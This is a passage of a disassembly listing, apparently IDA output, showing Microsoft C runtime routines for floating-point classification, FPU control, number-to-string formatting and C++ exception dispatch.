		jmp	short loc_421FA4
; ---------------------------------------------------------------------------

loc_421F8D:				; CODE XREF: sub_421F51+36j
		cmp	cx, 7FF0h
		jnz	short loc_421FA7
		test	[ebp+arg_4], 7FFFFh
		jnz	short loc_421FA2
		cmp	[ebp+arg_0], edx
		jz	short loc_421FA7

loc_421FA2:				; CODE XREF: sub_421F51+4Aj
		push	4

loc_421FA4:				; CODE XREF: sub_421F51+15j
					; sub_421F51+27j ...
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_421FA7:				; CODE XREF: sub_421F51+41j
					; sub_421F51+4Fj
		xor	eax, eax
		pop	ebp
		retn
sub_421F51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421FAB(double,int)

sub_421FAB	proc near		; CODE XREF: sub_421BFF+160p

var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		push	esi
		fnstsw	ax
		sahf
		jnz	short loc_421FCB
		fldz
		xor	esi, esi
		fstp	[ebp+var_8]
		jmp	loc_422061
; ---------------------------------------------------------------------------

loc_421FCB:				; CODE XREF: sub_421FAB+12j
		xor	ecx, ecx
		test	word ptr [ebp+arg_0+6],	7FF0h
		jnz	short loc_42203A
		test	dword ptr [ebp+arg_0+4], 0FFFFFh
		jnz	short loc_421FE3
		cmp	dword ptr [ebp+arg_0], ecx
		jz	short loc_42203A

loc_421FE3:				; CODE XREF: sub_421FAB+31j
		fld	[ebp+arg_0]
		fcomp	dbl_427860
		mov	esi, 0FFFFFC03h
		fnstsw	ax
		sahf
		jnb	short loc_421FFB
		push	1
		pop	eax
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------

loc_421FFB:				; CODE XREF: sub_421FAB+49j
		xor	eax, eax

loc_421FFD:				; CODE XREF: sub_421FAB+4Ej
					; sub_421FAB+69j
		test	byte ptr [ebp+arg_0+6],	10h
		jnz	short loc_422016
		shl	dword ptr [ebp+arg_0+4], 1
		test	byte ptr [ebp+arg_0+3],	80h
		jz	short loc_422010
		or	dword ptr [ebp+arg_0+4], 1

loc_422010:				; CODE XREF: sub_421FAB+5Fj
		shl	dword ptr [ebp+arg_0], 1
		dec	esi
		jmp	short loc_421FFD
; ---------------------------------------------------------------------------

loc_422016:				; CODE XREF: sub_421FAB+56j
		and	word ptr [ebp+arg_0+6],	0FFEFh
		cmp	eax, ecx
		jz	short loc_422024
		or	byte ptr [ebp+arg_0+7],	80h

loc_422024:				; CODE XREF: sub_421FAB+73j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		fstp	[ebp+var_8]
		add	esp, 0Ch
		jmp	short loc_422061
; ---------------------------------------------------------------------------

loc_42203A:				; CODE XREF: sub_421FAB+28j
					; sub_421FAB+36j
		fld	[ebp+arg_0]
		push	ecx		; int
		push	ecx
		push	ecx		; double
		fstp	[esp+18h+var_18]
		call	sub_421F28
		mov	eax, dword ptr [ebp+arg_0+6]
		add	esp, 0Ch
		fstp	[ebp+var_8]
		shr	eax, 4
		and	ax, 7FFh
		movsx	esi, ax
		sub	esi, 3FEh

loc_422061:				; CODE XREF: sub_421FAB+1Bj
					; sub_421FAB+8Dj
		mov	eax, [ebp+arg_8]
		fld	[ebp+var_8]
		mov	[eax], esi
		pop	esi
		leave
		retn
sub_421FAB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42206C	proc near		; CODE XREF: sub_42194C+F6p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fstsw	[ebp+var_2]
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42206C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42207A	proc near		; CODE XREF: sub_42194C+206p

var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		push	ecx
		fnstsw	[ebp+var_2]
		fnclex
		movsx	eax, [ebp+var_2]
		leave
		retn
sub_42207A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422089	proc near		; CODE XREF: sub_41D055+13p
					; sub_41D055+5Dp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		fstcw	word ptr [ebp+var_4]
		mov	eax, [ebp+arg_4]
		mov	ecx, eax
		and	eax, [ebp+arg_0]
		not	ecx
		and	ecx, [ebp+var_4]
		or	ecx, eax
		mov	[ebp+arg_4], ecx
		fldcw	word ptr [ebp+arg_4]
		movsx	eax, word ptr [ebp+var_4]
		leave
		retn
sub_422089	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4220AC	proc near		; CODE XREF: sub_421BFF+1Dp
					; sub_421BFF+37p ...

var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	cl, byte ptr [ebp+arg_0]
		test	cl, 1
		jz	short loc_4220C3
		fld	tbyte_43D418
		fistp	[ebp+arg_0]
		wait

loc_4220C3:				; CODE XREF: sub_4220AC+Bj
		test	cl, 8
		jz	short loc_4220D8
		fstsw	ax
		fld	tbyte_43D418
		fstp	[ebp+var_8]
		wait
		fstsw	ax

loc_4220D8:				; CODE XREF: sub_4220AC+1Aj
		test	cl, 10h
		jz	short loc_4220E7
		fld	tbyte_43D424
		fstp	[ebp+var_8]
		wait

loc_4220E7:				; CODE XREF: sub_4220AC+2Fj
		test	cl, 4
		jz	short loc_4220F5
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait

loc_4220F5:				; CODE XREF: sub_4220AC+3Ej
		test	cl, 20h
		jz	short locret_422100
		fldpi
		fstp	[ebp+var_8]
		wait

locret_422100:				; CODE XREF: sub_4220AC+4Cj
		leave
		retn
sub_4220AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_422102	proc near		; CODE XREF: sub_41D124+Fp
		push	30000h
		push	10000h
		call	sub_424865
		pop	ecx
		pop	ecx
		retn
sub_422102	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422114	proc near		; CODE XREF: sub_422152:loc_422176j

var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		fld	dbl_427870
		fstp	[ebp+var_8]
		fld	dbl_427868
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fdiv	[ebp+var_8]
		fmul	[ebp+var_8]
		fsubr	[ebp+var_10]
		fstp	[ebp+var_18]
		fld	[ebp+var_18]
		fcomp	dbl_4276F8
		fnstsw	ax
		sahf
		jbe	short loc_42214E
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_42214E:				; CODE XREF: sub_422114+33j
		xor	eax, eax
		leave
		retn
sub_422114	endp


; =============== S U B	R O U T	I N E =======================================



sub_422152	proc near		; CODE XREF: sub_41D124+5p
		push	offset aKernel32 ; "KERNEL32"
		nop
		call	near ptr 26A0000h
		test	eax, eax
		jz	short loc_422176
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		push	eax
		nop
		call	near ptr 26C0000h
		test	eax, eax
		jz	short loc_422176
		push	0
		call	eax ; sub_41D124
		retn
; ---------------------------------------------------------------------------

loc_422176:				; CODE XREF: sub_422152+Dj
					; sub_422152+1Dj
		jmp	sub_422114
sub_422152	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42217B	proc near		; CODE XREF: sub_41FF3F+3CBp
					; DATA XREF: sub_41D13C+1Eo ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_41DFEC
		cmp	eax, 65h
		pop	ecx
		jz	short loc_4221BB

loc_42218F:				; CODE XREF: sub_42217B+3Ej
		inc	esi
		cmp	dword_43D094, 1
		jle	short loc_4221A8
		movsx	eax, byte ptr [esi]
		push	4
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_4221B7
; ---------------------------------------------------------------------------

loc_4221A8:				; CODE XREF: sub_42217B+1Cj
		movsx	eax, byte ptr [esi]
		mov	ecx, off_43CE88
		mov	al, [ecx+eax*2]
		and	eax, 4

loc_4221B7:				; CODE XREF: sub_42217B+2Bj
		test	eax, eax
		jnz	short loc_42218F

loc_4221BB:				; CODE XREF: sub_42217B+12j
		mov	cl, byte_43D098
		mov	al, [esi]
		mov	[esi], cl
		inc	esi

loc_4221C6:				; CODE XREF: sub_42217B+56j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_4221C6
		pop	esi
		retn
sub_42217B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4221D5	proc near		; CODE XREF: sub_41FF3F+3E2p
					; DATA XREF: sub_41D13C+5o ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dl, byte_43D098
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_4221F1

loc_4221E5:				; CODE XREF: sub_4221D5+1Aj
		cmp	cl, dl
		jz	short loc_4221F1
		mov	cl, [eax+1]
		inc	eax
		test	cl, cl
		jnz	short loc_4221E5

loc_4221F1:				; CODE XREF: sub_4221D5+Ej
					; sub_4221D5+12j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short locret_422222

loc_4221F8:				; CODE XREF: sub_4221D5+34j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42220B
		cmp	cl, 65h
		jz	short loc_42220B
		cmp	cl, 45h
		jz	short loc_42220B
		inc	eax
		jmp	short loc_4221F8
; ---------------------------------------------------------------------------

loc_42220B:				; CODE XREF: sub_4221D5+27j
					; sub_4221D5+2Cj ...
		mov	ecx, eax

loc_42220D:				; CODE XREF: sub_4221D5+3Cj
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_42220D
		cmp	[eax], dl
		jnz	short loc_422218
		dec	eax

loc_422218:				; CODE XREF: sub_4221D5+40j
					; sub_4221D5+4Bj
		mov	dl, [ecx]
		inc	eax
		inc	ecx
		test	dl, dl
		mov	[eax], dl
		jnz	short loc_422218

locret_422222:				; CODE XREF: sub_4221D5+21j
		retn
sub_4221D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_422223	proc near		; DATA XREF: sub_41D13C+28o
					; ___:off_43D440o

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_427860
		fnstsw	ax
		sahf
		jb	short loc_422238
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_422238:				; CODE XREF: sub_422223+Fj
		xor	eax, eax
		retn
sub_422223	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42223B	proc near		; CODE XREF: sub_420DB0+430p
					; DATA XREF: sub_41D13C+14o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_8]
		jz	short loc_422264
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_424D28
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		leave
		retn
; ---------------------------------------------------------------------------

loc_422264:				; CODE XREF: sub_42223B+Cj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_424D55
		mov	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_8]
		mov	[eax], ecx
		leave
		retn
sub_42223B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422279	proc near		; CODE XREF: sub_4224F6+17p
					; sub_422540+47p

var_10		= qword	ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	byte_4DBE6C, 0
		push	ebx
		push	esi
		jz	short loc_4222AE
		mov	ebx, [ebp+arg_8]
		mov	eax, dword_4DBE68
		xor	ecx, ecx
		mov	esi, eax
		test	ebx, ebx
		setnle	cl
		push	ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		add	ecx, [ebp+arg_4]
		push	ecx
		call	sub_422591
		pop	ecx
		pop	ecx
		jmp	short loc_4222E6
; ---------------------------------------------------------------------------

loc_4222AE:				; CODE XREF: sub_422279+Cj
		mov	eax, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+10h+var_10]
		call	sub_424DF9
		mov	ebx, [ebp+arg_8]
		mov	esi, eax
		push	esi
		mov	edx, [ebp+arg_4]
		lea	eax, [ebx+1]
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		xor	ecx, ecx
		test	ebx, ebx
		setnle	cl
		add	edx, eax
		add	ecx, edx
		push	ecx
		call	sub_424D82
		add	esp, 14h

loc_4222E6:				; CODE XREF: sub_422279+33j
		cmp	dword ptr [esi], 2Dh
		mov	eax, [ebp+arg_4]
		jnz	short loc_4222F2
		mov	byte ptr [eax],	2Dh
		inc	eax

loc_4222F2:				; CODE XREF: sub_422279+73j
		test	ebx, ebx
		jle	short loc_42230A
		mov	cl, [eax+1]
		push	edi
		lea	edi, [eax+1]
		mov	[eax], cl
		mov	cl, byte_43D098
		mov	eax, edi
		pop	edi
		mov	[eax], cl

loc_42230A:				; CODE XREF: sub_422279+7Bj
		xor	ecx, ecx
		push	offset aE000	; "e+000"
		cmp	byte_4DBE6C, cl
		setz	cl
		add	ecx, eax
		add	ecx, ebx
		push	ecx
		call	sub_41C890
		cmp	[ebp+arg_C], 0
		pop	ecx
		pop	ecx
		mov	ecx, eax
		jz	short loc_422331
		mov	byte ptr [ecx],	45h

loc_422331:				; CODE XREF: sub_422279+B3j
		mov	eax, [esi+0Ch]
		inc	ecx
		cmp	byte ptr [eax],	30h
		jz	short loc_422376
		mov	ebx, [esi+4]
		dec	ebx
		jns	short loc_422345
		neg	ebx
		mov	byte ptr [ecx],	2Dh

loc_422345:				; CODE XREF: sub_422279+C5j
		inc	ecx
		cmp	ebx, 64h
		jl	short loc_42235C
		mov	eax, ebx
		push	64h
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_42235C:				; CODE XREF: sub_422279+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_422373
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_422373:				; CODE XREF: sub_422279+E7j
		add	[ecx+1], bl

loc_422376:				; CODE XREF: sub_422279+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_422279	endp


; =============== S U B	R O U T	I N E =======================================



sub_42237D	proc near		; CODE XREF: sub_42251D+13p
					; sub_422540+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_4DBE6C, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_4223B8
		mov	eax, dword_4DBE70
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_4DBE68
		cmp	eax, ebx
		jnz	short loc_4223E8
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_4223E8
; ---------------------------------------------------------------------------

loc_4223B8:				; CODE XREF: sub_42237D+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_424DF9
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_424D82
		add	esp, 14h

loc_4223E8:				; CODE XREF: sub_42237D+22j
					; sub_42237D+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_4223F6
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]

loc_4223F6:				; CODE XREF: sub_42237D+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_42240D
		push	1
		push	edi
		call	sub_422591
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_42240F
; ---------------------------------------------------------------------------

loc_42240D:				; CODE XREF: sub_42237D+7Ej
		add	edi, eax

loc_42240F:				; CODE XREF: sub_42237D+8Ej
		test	ebx, ebx
		jle	short loc_422454
		push	1
		push	edi
		call	sub_422591
		mov	al, byte_43D098
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_422454
		cmp	byte_4DBE6C, 0
		jz	short loc_422439
		neg	esi
		jmp	short loc_42243F
; ---------------------------------------------------------------------------

loc_422439:				; CODE XREF: sub_42237D+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_422441

loc_42243F:				; CODE XREF: sub_42237D+BAj
		mov	ebx, esi

loc_422441:				; CODE XREF: sub_42237D+C0j
		push	ebx
		push	edi
		call	sub_422591
		push	ebx
		push	30h
		push	edi
		call	sub_41BF70
		add	esp, 14h

loc_422454:				; CODE XREF: sub_42237D+94j
					; sub_42237D+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42237D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42245B	proc near		; CODE XREF: sub_422540+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_424DF9
		mov	dword_4DBE68, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_4DBE70, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_424D82
		mov	eax, dword_4DBE68
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_4DBE70, ecx
		setl	cl
		mov	byte_4DBE74, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_4DBE70, eax
		jl	short loc_4224E1
		cmp	eax, ebx
		jge	short loc_4224E1
		test	cl, cl
		jz	short loc_4224D2

loc_4224C8:				; CODE XREF: sub_42245B+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_4224C8
		and	[esi-2], al

loc_4224D2:				; CODE XREF: sub_42245B+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_42251D
		add	esp, 0Ch
		jmp	short loc_4224F1
; ---------------------------------------------------------------------------

loc_4224E1:				; CODE XREF: sub_42245B+63j
					; sub_42245B+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_4224F6
		add	esp, 10h

loc_4224F1:				; CODE XREF: sub_42245B+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_42245B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4224F6	proc near		; CODE XREF: sub_42245B+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_4DBE6C, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_422279
		and	byte_4DBE6C, 0
		add	esp, 10h
		retn
sub_4224F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42251D	proc near		; CODE XREF: sub_42245B+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_4DBE6C, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_42237D
		and	byte_4DBE6C, 0
		add	esp, 0Ch
		retn
sub_42251D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422540	proc near		; CODE XREF: sub_41FF3F+3AAp
					; DATA XREF: sub_41D13Co ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 45h
		jz	short loc_42257B
		cmp	[ebp+arg_8], 66h
		jnz	short loc_422568
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42237D
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_422568:				; CODE XREF: sub_422540+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42245B
		jmp	short loc_42258C
; ---------------------------------------------------------------------------

loc_42257B:				; CODE XREF: sub_422540+7j
					; sub_422540+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_422279

loc_42258C:				; CODE XREF: sub_422540+39j
		add	esp, 10h
		pop	ebp
		retn
sub_422540	endp


; =============== S U B	R O U T	I N E =======================================



sub_422591	proc near		; CODE XREF: sub_422279+2Cp
					; sub_42237D+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_4225B4
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_41D670
		add	esp, 10h
		pop	esi

loc_4225B4:				; CODE XREF: sub_422591+7j
		pop	edi
		retn
sub_422591	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4225B6	proc near		; CODE XREF: ___:0041D31Cp
					; sub_41D385+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_4225CC
		call	sub_422E52

loc_4225CC:				; CODE XREF: sub_4225B6+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_4225F4
		cmp	dword ptr [esi+4], 0
		jz	short loc_42264A
		cmp	[ebp+arg_14], 0
		jnz	short loc_42264A
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_4228FD
		add	esp, 10h
		jmp	short loc_42264A
; ---------------------------------------------------------------------------

loc_4225F4:				; CODE XREF: sub_4225B6+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_42264A
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42262E
		cmp	[eax+14h], edi
		jbe	short loc_42262E
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_42262E
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_42264D
; ---------------------------------------------------------------------------

loc_42262E:				; CODE XREF: sub_4225B6+4Aj
					; sub_4225B6+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_422651
		add	esp, 20h

loc_42264A:				; CODE XREF: sub_4225B6+23j
					; sub_4225B6+29j ...
		push	1
		pop	eax

loc_42264D:				; CODE XREF: sub_4225B6+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4225B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422651	proc near		; CODE XREF: sub_4225B6+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_422671
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_422676

loc_422671:				; CODE XREF: sub_422651+16j
		call	sub_422E52

loc_422676:				; CODE XREF: sub_422651+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		mov	esi, dword_4DBE78
		test	esi, esi
		jz	loc_4227C8
		mov	eax, dword_4DBE7C
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_424F80
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4226CC
		call	sub_422E52

loc_4226CC:				; CODE XREF: sub_422651+74j
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4226EA
		cmp	[esi+14h], edi
		jnz	short loc_4226EA
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4226EA
		call	sub_422E52

loc_4226EA:				; CODE XREF: sub_422651+41j
					; sub_422651+46j ...
		cmp	[esi], ebx
		jnz	loc_4227CD
		cmp	dword ptr [esi+10h], 3
		jnz	loc_4227CD
		cmp	[esi+14h], edi
		jnz	loc_4227CD
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41D4D3
		add	esp, 14h
		mov	ebx, eax

loc_422721:				; CODE XREF: sub_422651+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_4227B8
		cmp	[ebx], edi
		jg	short loc_4227AD
		cmp	edi, [ebx+4]
		jg	short loc_4227AD
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_4227AA

loc_422746:				; CODE XREF: sub_422651+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_422777

loc_422758:				; CODE XREF: sub_422651+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_4228A0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_422786
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_422758

loc_422777:				; CODE XREF: sub_422651+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_422746
		jmp	short loc_4227AA
; ---------------------------------------------------------------------------

loc_422786:				; CODE XREF: sub_422651+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4229B1
; ---------------------------------------------------------------------------
		add	esp, 2Ch

loc_4227AA:				; CODE XREF: sub_422651+F3j
					; sub_422651+133j
		mov	edi, [ebp+var_10]

loc_4227AD:				; CODE XREF: sub_422651+DEj
					; sub_422651+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_422721
; ---------------------------------------------------------------------------
